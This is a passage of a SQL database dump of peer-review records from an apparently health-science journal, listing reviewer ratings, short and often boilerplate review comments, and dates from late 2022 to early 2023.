corrections.\r\n','','2022-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5154,21531,13109,NULL,'j','g','y','y','y','The author has explained in clear manner the introduction, Methods and results provides the different information and the article an publish with minor corrections.\r\n','','2022-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5155,21504,12958,NULL,'5','g','y','y','y','The article regarding below conclusion is good for explaining and article have all needed headings and Grammatical part also standard level\r\nMajority of patents admitted in Debre Birhan Referral hospital had less than seven day stay of length and all of admitted patent have no supportive device.  In this study the highly prevalent stage is stage I and in terms of anatomical location Grater trochanter is more observed area.\r\nThe prevalence of pressure ulcer was slightly high among hospitalized patients especially when compare to study contacted in Ethiopia.  Patients were more liable to develop pressure ulcer when they are underweight and not change their position frequently\r\n','Accepted for publication.','2022-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5156,14534,12964,NULL,'5','g','y','y','y','The Research paper have all needed headings like below \r\nAbstract\r\nKeywords\r\nIntroduction\r\nMaterials and Methods\r\nResults\r\nDiscussion\r\nConclusion etc...\r\ncoming to the purpose of paper is good written \r\nThe secondary school students held a negative view of the existence of reproductive health care facilities in schools and communities The study also found that participants display a positive attitude regarding the benefits of awareness of knowledge on the use of contraceptives. Furthermore, the study revealed that the participants lack knowledge of sexually transmitted diseases. More so, the participants believed that peer pressure influence information seeking in reproductive healthcare. Lastly, the participants acknowledged that knowledge plays a large influence on the effect of reproductive healthcare. The current study findings indicate that awareness is needed to be enforced. ','Accepted','2022-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5157,11689,13040,NULL,'5','g','y','y','y','The article regarding below study \r\nAs well as it was noticed that reticulocyte count has not improved but there was significant increase in that i.e. the production of reticulocytes. So it can be said that Iron therapy was not beneficial in any way in cases of Haemolytic anaemia. It has been found that there was significant increase in serum Iron (p<0.05, p=0.018) after completion of the study, serum ferritin also show similar trend, post treatment there was significant increase (p<0.05, p=0.001).It is mainly because of ferrous sulphate intake which was taken orally by the anaemia cases.\r\nhave grammatical mistakes in submission file have to rectify and its good paper.','The article regarding below study \r\nAs well as it was noticed that reticulocyte count has not improved but there was significant increase in that i.e. the production of reticulocytes. So it can be said that Iron therapy was not beneficial in any way in cases of Haemolytic anaemia. It has been found that there was significant increase in serum Iron (p<0.05, p=0.018) after completion of the study, serum ferritin also show similar trend, post treatment there was significant increase (p<0.05, p=0.001).It is mainly because of ferrous sulphate intake which was taken orally by the anaemia cases.\r\nhave grammatical mistakes in submission file have to rectify and its good paper.','2022-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5158,21534,13069,NULL,'5','G','Y','Y','N','ES need not always be an incidental finding on imaging. Certain clinical conditions like hormonal disturbances, psychiatric disorders, raised ICT and SNHL have been found to be more often associated with ES as compared to general population. We did not find any significant correlation of ES with headache and visual disturbances as opposed to many previous studies. It is recommended that the manuscript be published without any more revisions.','ES need not always be an incidental finding on imaging. Certain clinical conditions like hormonal disturbances, psychiatric disorders, raised ICT and SNHL have been found to be more often associated with ES as compared to general population. We did not find any significant correlation of ES with headache and visual disturbances as opposed to many previous studies. It is recommended that the manuscript be published without any more revisions.','2022-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5159,21534,13069,NULL,'5','G','Y','Y','N','ES need not always be an incidental finding on imaging. Certain clinical conditions like hormonal disturbances, psychiatric disorders, raised ICT and SNHL have been found to be more often associated with ES as compared to general population. We did not find any significant correlation of ES with headache and visual disturbances as opposed to many previous studies. It is recommended that the manuscript be published without any more revisions.','ES need not always be an incidental finding on imaging. Certain clinical conditions like hormonal disturbances, psychiatric disorders, raised ICT and SNHL have been found to be more often associated with ES as compared to general population. We did not find any significant correlation of ES with headache and visual disturbances as opposed to many previous studies. It is recommended that the manuscript be published without any more revisions.','2022-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5160,11715,13062,NULL,'5','g','y','y','y','Research article have all needed headings and need some rectify Grammatical Corrections \r\nThe study showed that more than half of the respondents knew more about the danger signs of pregnancy, and there was an association between women\'s knowledge of these signs and participant family size, the number of births and parity, age of pregnancy at the first ANC visit, and advice given about these signs during ANC visit.  Finally, the Addis Ababa Health Bureau should develop appropriate strategies, including the provision of targeted health education or information in its plan to increase women\'s knowledge about the danger signs of pregnancy.\r\n\r\n','Accepted','2022-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5161,21475,13020,NULL,'5','g','y','y','y','this manuscript explains clearly about the Sickle Cell Anaemia Crisis. it is accepted to publish','','2022-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5162,21475,13019,NULL,'5','g','y','y','y','Manuscript was accepted to publish without any changes','','2022-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5163,21408,13117,NULL,'5','g','y','y','y','Accepted with no changes ','Accepted','2022-10-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5164,21394,13121,NULL,'5','g','y','y','y','The short communication have good data for publish and article have all needed headings.\r\n \r\nThis study attempted to define an appropriate isolation period to minimize the risk of disease transmission. Nineteen patients contracted COVID-19 during an outbreak at the General Medicine Ward of Saitama Memorial Hospital and regarding The isolation period for patients with COVID-19 has been discussed since its emergence. With increasing knowledge of epidemiology, as well as advances in diagnostic and therapeutic measurements, the isolation period is becoming increasingly. ','Accepted ','2022-10-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5165,21394,13121,NULL,'5','g','y','y','y','The short communication have good data for publish and article have all needed headings.\r\n \r\nThis study attempted to define an appropriate isolation period to minimize the risk of disease transmission. Nineteen patients contracted COVID-19 during an outbreak at the General Medicine Ward of Saitama Memorial Hospital and regarding The isolation period for patients with COVID-19 has been discussed since its emergence. With increasing knowledge of epidemiology, as well as advances in diagnostic and therapeutic measurements, the isolation period is becoming increasingly. ','Accepted ','2022-10-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5166,21475,13145,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-11-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5167,21475,13144,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-11-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5168,21475,13143,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-11-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5169,11355,13152,NULL,'3','r','Y','Y','Y','This manuscript briefly reviewed urinary tract infection (UTI) It is in the scope of this journal. The topic is also interesting. However, English writing is not very well. There are some grammar and spelling errors. It’s better to ask a native speaker to help edit. ','','2022-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5170,11355,13153,NULL,'4','R','Y','Y','Y','This manuscript briefly introduced cancer. The topic is interesting. The organization is good. It is in the scope of this journal. The English expression is well. There are some grammar and spelling errors. In addition, references should be included.','','2022-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5171,21528,13125,NULL,'5','G','Y','N','N','Overall, this is a very well written manuscript. The authors gave a very detailed background, introduction, data analysis procedure and conclusion/results. I think this is a very good topic, the authors may have further research and more papers based on this topic. What I am suggesting is the author may use the collected data do further analysis, such as regression to show the predictions and trend. What\'s more, the authors may use the result extend to other colleges and universities in the country. If possible, the authors should also collect more data from other schools. This will make the results more generalization. ','','2022-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5172,21375,4071,NULL,'6','G','Y','Y','Y','Article is well written and can publish without any changes, good luck','Strongly Recommended','2022-11-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5173,11353,13153,NULL,'3','g','n','y','y','v','Dear Editor, thank you for giving me an opportunity to review this manuscript\r\nThis commentary article contains many plagiarism without references\r\nPlease check the plagiarism\r\nmy final decision is acceptable after major revision \r\n','2022-11-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5174,11353,13152,NULL,'3','g','n','y','y','v','Dear Editor, thank you for giving me an opportunity to review this manuscript\r\nThis commentary paper contains many plagiarisms without references\r\nmy final decision is acceptable after major revisions \r\n\r\n','2022-11-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5175,10010,13124,NULL,'g','g','y','y','y','The author has well explained the manuscript \"Colonization of School Children (Age less than 5 years) Lunch Box by bacterial Pathogens Associated with Infant Diarrhea in Shomolu Local Government Area, Lagos, Nigeria\". It is a well-explained review and strongly recommended for publication and useful for future guidance.','Accepted.','2022-11-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5176,5467,13149,NULL,'5','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2022-11-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5177,21528,13154,NULL,'4','G','Y','Y','N','Overall, this is a well-written manuscript. The authors gave a very detailed introduction and background. The method part was good, however, if the authors could more details about what statistical methods used in the study, such as Wilcoxon or Chisq/Fisher\'s Exact test, that will be helpful for the readers to understand the analysis better. Also, if the authors could provide some univariate analysis and descriptive statistics, that will be prefect. The discussion and conclusion parts are well-written, they are easy to understand.','','2022-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5178,11715,13164,NULL,'5','g','y','y','y','The article was well written and accepted for publication in this journal.\r\n\r\nThe study regarding Dengue Rapid Test Cassette (Whole Blood/Serum/Plasma) is a rapid test that utilizes a combination of Dengue antigen-coated colored particles for the detection of IgG and IgM Dengue antibodies in human whole blood, serum, or plasma.','Accepted ','2022-11-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5179,21529,13168,NULL,'5','G','Y','M','N','This is a very well-written manuscript. The authors give a very detailed background introduction. They are easy to follow and nice to understand. The tables are depicted well and the numbers are also easy to understand. The minor is not much statistical analysis. The general idea behind the article is clear, but to get more convinced conclusion, more statistical analysis should be done in the future work. ','','2022-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5180,21526,13067,NULL,'5','g','y','y','y','Accepted','Accepted','2022-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5181,21494,13076,NULL,'5','g','y','y','y','Accepted','Accepted','2022-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5182,1000,13123,NULL,'5','g','y','y','y','Accepted for publications \r\nThe manuscript Regarding collected data using Modified Missoula-Vitas Quality of Life Index showed reduced quality of life in all the aspects like physical discomfort (26.7%), decreased ability to perform accustomed functions and activities of daily living (26.7%), problems in maintaining personal relationships, and a lack of sense of contentment with self (50%) and a low degree of connection with an enduring construct and a degree of experienced meaning and purpose in life.','Accept','2022-11-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5183,11353,13155,NULL,'4','g','n','y','y','my final decision is acceptable after revising the plagiarism and adding references\r\n\r\n\r\n\r\n\r\n','Dear Editor, thank you for giving me an opportunity to review this manuscript\r\nThis is a moderate expert author\r\nPlease check the plagiarism\r\nThis commentary article lacks references. \r\nmy final decision is acceptable after revising the plagiarism and adding references\r\n','2022-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5184,11353,13066,NULL,'4','g','n','y','y','This commentary article lacks references ','Dear Editor, thank you for giving me an opportunity to review this manuscript\r\nThis is a medium expert author\r\nPlease check the plagiarism\r\nThis commentary article lacks references \r\nmy final decision is acceptable after revising the plagiarism and adding references \r\n','2022-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5185,10976,13095,NULL,'5','g','y','y','y','The research article written well and explained procedure its accepted for publications \r\n\r\nRegarding Ayushman Bharat Mission: Protect the Health of Families in Uttar Pradesh, India  Private hospitals are the main center for providing critical care facilities to patients, whereas Governments hospitals provides basic and First aid facilities to beneficiaries families. In small districts proper medical and surgical facilities are not available','Accepted','2022-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5186,17546,13142,NULL,'5','g','y','y','y','I thank the Editor for providing me the opportunity to review this paper. I have gone through the paper and am impressive for the author effort in using an argon cryoprobe. I really like the conceptualization that the authors have substantially improved the manuscript with a lot of research on cryosurgery.','','2022-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5187,12875,13218,NULL,'2','n','n','y','Y','While the general review is fine, its application in the area of the author\'s jurisdiction is wanted. The conclusion from the general review would add very little value.','There is hardly any content with publishing','2022-12-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5188,5467,13221,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2022-12-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5189,14534,13206,NULL,'5','g','y','y','y','The study regarding The Citest hCG Pregnancy Rapid Test Cassette (Urine) is a rapid chromatographic immunoassay for the qualitative detection of human chorionic gonadotropin in urine to aid in the early detection of pregnancy.\r\nThe product is simple to operate, and results can be read within 3 minutes of the sample being tested.\r\nThe research article accepted for publication ','Accept','2022-12-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5190,11715,13207,NULL,'5','g','y','y','y','The study regarding FOB Rapid Test Cassette is the most general method to for screen colorectal cancer. The fecal occult blood test has a very important diagnostic and differential diagnostic value for gastrointestinal bleeding diseases. The fecal occult blood test must have high sensitivity and specificity.\r\n\r\nThis article interesting topic and it is unique data good for publication i accept this paper with out any changes ','The study regarding FOB Rapid Test Cassette is the most general method to for screen colorectal cancer. The fecal occult blood test has a very important diagnostic and differential diagnostic value for gastrointestinal bleeding diseases. The fecal occult blood test must have high sensitivity and specificity.\r\n\r\nThis article interesting topic and it is unique data good for publication i accept this paper with out any changes ','2022-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5191,17721,13248,NULL,'5','g','y','y','y','Well written. Author has clearly mentioned about each and every steps of article. Yakushi et al. explained about how TPMT genotypes influnces Thiopurine Treatment. Results and Discussion part are very clear and supporting the data. It is an unique results hence I recommended the article to publish in journal in current form.','Accept  and publish without any changes','2022-12-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5192,18411,13187,NULL,'5','G','Y','Y','Y','Author has explained everything clearly in step by step process,it is an unique results and accept the article and publish.','','2022-12-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5193,10393,13343,NULL,'5','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge The abstract improved statements.\r\nThe references are good according guidelines.\r\nI accept the article to be publish without any changes\r\n','','2022-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5194,14071,13343,NULL,'6','5','5','y','y','The article entitled \"The Suppressive Effects of Cytotoxic Agents on Lymphoma Cell Proliferation and Tumor Growth\" is a nice piece of work and very useful for future references. The entire study well explained by the author. So I am suggesting this article for publication. Congratulations for such a nice work. ',' Accepted.','2022-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5195,17208,13343,NULL,'5','5','y','y','y','Accepted','','2022-12-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5196,11353,13280,NULL,'4','g','n','y','y','lack of the references','This is a good paper except for the lack of references\r\nmy final decision is acceptable after minor revisions \r\n','2022-12-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5197,12532,13255,NULL,'5','g','y','y','y','The article have new research data and it is very helpful for readers I strongly accept this article in health science journal.','Accepted ','2022-12-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5198,18502,13190,NULL,'5','G','Y','Y','Y','The Author explained everything in the abstract which proves in the conclusion of the article','','2022-12-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5199,21475,13357,NULL,'4','R','D','Y','Y','YOUR ELIZA TECHIQUE IS GOOD','THIS PAPER QUALITY IS VERY GOOD. ACCEPT IT...','2023-01-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5200,21475,13357,NULL,'4','R','D','Y','Y','YOUR ELIZA TECHIQUE IS GOOD','THIS PAPER QUALITY IS VERY GOOD. ACCEPT IT...','2023-01-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5201,21475,13357,NULL,'4','R','D','Y','Y','YOUR ELIZA TECHIQUE IS GOOD','THIS PAPER QUALITY IS VERY GOOD. ACCEPT IT...','2023-01-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5202,21475,13357,NULL,'4','R','D','Y','Y','YOUR ELIZA TECHIQUE IS GOOD','THIS PAPER QUALITY IS VERY GOOD. ACCEPT IT...','2023-01-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5203,7287,13354,NULL,'6','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge The abstract improved statements.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5204,9133,13354,NULL,'5','G','Y','Y','Y','The references are good according guidelines.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5205,9133,13351,NULL,'5','G','Y','Y','Y','Accepted Without Changes.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5206,9134,13351,NULL,'5','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge The abstract improved statements.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5207,9134,13354,NULL,'6','G','Y','Y','Y','Strongly Recommended, and your manuscript content are very valuable.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5208,7286,13351,NULL,'5','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge The abstract improved statements, I Strongly Recommended This article.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5209,7286,13354,NULL,'6','G','Y','Y','Y','Accepted Without Changes, The references are good according guidelines.','','2023-01-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5210,21493,13160,NULL,'5','g','y','y','y','Accepted for publication',' ','2023-01-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5211,21374,13174,NULL,'5','g','y','y','y','Accepted for publication ','','2023-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5212,12532,13360,NULL,'5','g','y','y','y','Study regarding The combination of COVID-19 and influenza A+ B antigen is easy to handle and tests for both antigenic viruses simultaneously with clear and understandable results. In this sample test, the antigen combination can effectively help patients to determine if they have this antigenic virus, and its accuracy and specificity have been thoroughly tested. The overall evaluation of ACRO rapid tests for COVID-19 and influenza A+B antigen combo (nasopharyngeal swabs) meets the requirements for in vitro diagnosis. \r\n\r\nAccepted for publication',' ','2023-01-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5213,7213,13431,NULL,'5','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge ','','2023-01-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5214,7212,13431,NULL,'6','G','Y','Y','Y','Strongly Recommended, The authors have collected a scientific and unique data.','','2023-01-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5215,9159,13431,NULL,'5','G','Y','Y','Y','This study provides limited new information and the topic is important, The references are good according guidelines, I Strongly Recommended this article.','','2023-01-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5216,21475,13422,NULL,'5','G','Y','Y','Y','The author has explained the entire topic in the summary. The author\'s conclusion justified the summary.','','2023-01-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5217,11355,13446,NULL,'5','g','y','y','y','The state of CVD prevention public health interventions was looked at to figure out what needs to be done to close the gap between policy and evidence. We evaluated translational research using a two-step framework. The current state of CVD prevention and control at the national level in India was documented through a review of the relevant literature. To comprehend various aspects of translational research, case studies of risk factor surveillance, tobacco control, and blood pressure measurement were used. India has recently seen initiatives at the national level to monitor, prevent, and control non-communicable diseases. The majority of the delays in translating research into policy have occurred at. ','Accept ','2023-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5218,11355,13448,NULL,'5','g','y','y','y','The article Accepted Without Changes. ','Accept ','2023-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5219,15186,13447,NULL,'4','g','y','y','y','The article Accepted with minor revisions ','Accept ','2023-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5220,16332,13445,NULL,'4','g','y','y','y','The article Accepted with minor revisions. ','Accept ','2023-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5221,19638,13432,NULL,'5','g','y','y','y','The article Accepted Without Changes. ','Accept the article ','2023-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5222,7286,13428,NULL,'5','g','Y','Y','Y','Accepted Without Changes','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5223,7286,13429,NULL,'5','G','Y','Y','Y','Strongly Recommended','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5224,7286,13430,NULL,'5','G','Y','Y','Y','This article are Strongly Recommended without any changes','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5225,9135,13428,NULL,'5','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge ','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5226,9135,13429,NULL,'6','G','Y','Y','Y','This article is Strongly Recommended and the abstract improved statements.\r\n\r\n\r\n','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5227,9135,13430,NULL,'5','G','Y','Y','Y','The references are good according guidelines.','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5228,12263,13406,NULL,'5','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge ','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5229,12264,13406,NULL,'5','G','Y','Y','Y','The abstract improved statements and The references are good according guidelines.','','2023-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5230,7212,13463,NULL,'6','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured and the references are good according guidelines.','','2023-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5231,9159,13463,NULL,'5','G','Y','Y','Y','Overall the information presented represents valuable information, The abstract improved statements.','','2023-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5232,7213,13463,NULL,'5','G','Y','Y','Y','Overall, this is a clear, concise, and well-written manuscript. The introduction is relevant and theory based. Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures. The methods are generally appropriate.','','2023-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5233,9155,13463,NULL,'6','G','Y','Y','Y','\r\nOutstanding study and well done, The references are good according guidelines.\r\n','','2023-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5234,21529,13469,NULL,'4','G','Y','M','N','Generally, this is a well-written article. The author showed a very detailed summary and background. The result and discussion session were nicely presented and depicted. Some minor English edits should be revised, for example \"To compare the proportions, the ?2 test was used, to compare the averages, the Mann-Whitney U-test at a significance level of p?0.05. \"\r\n\r\n','','2023-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5235,17211,13436,NULL,'5','g','y','y','y','This is an interesting study and authors given the rarity of this presentation, there is a general lack of consensus on management guidelines.  Abstract improved statements. The references are good according to the guidelines. I accept the article to be published. \r\n\r\nThe Concept is well taken by the patients in detail. We know that cancer is in widely in many persons and your Methodology is well-written according to the environment.\r\n\r\nBreast cancer is the second most common cancer in women after skin cancer. This case report may let them know to 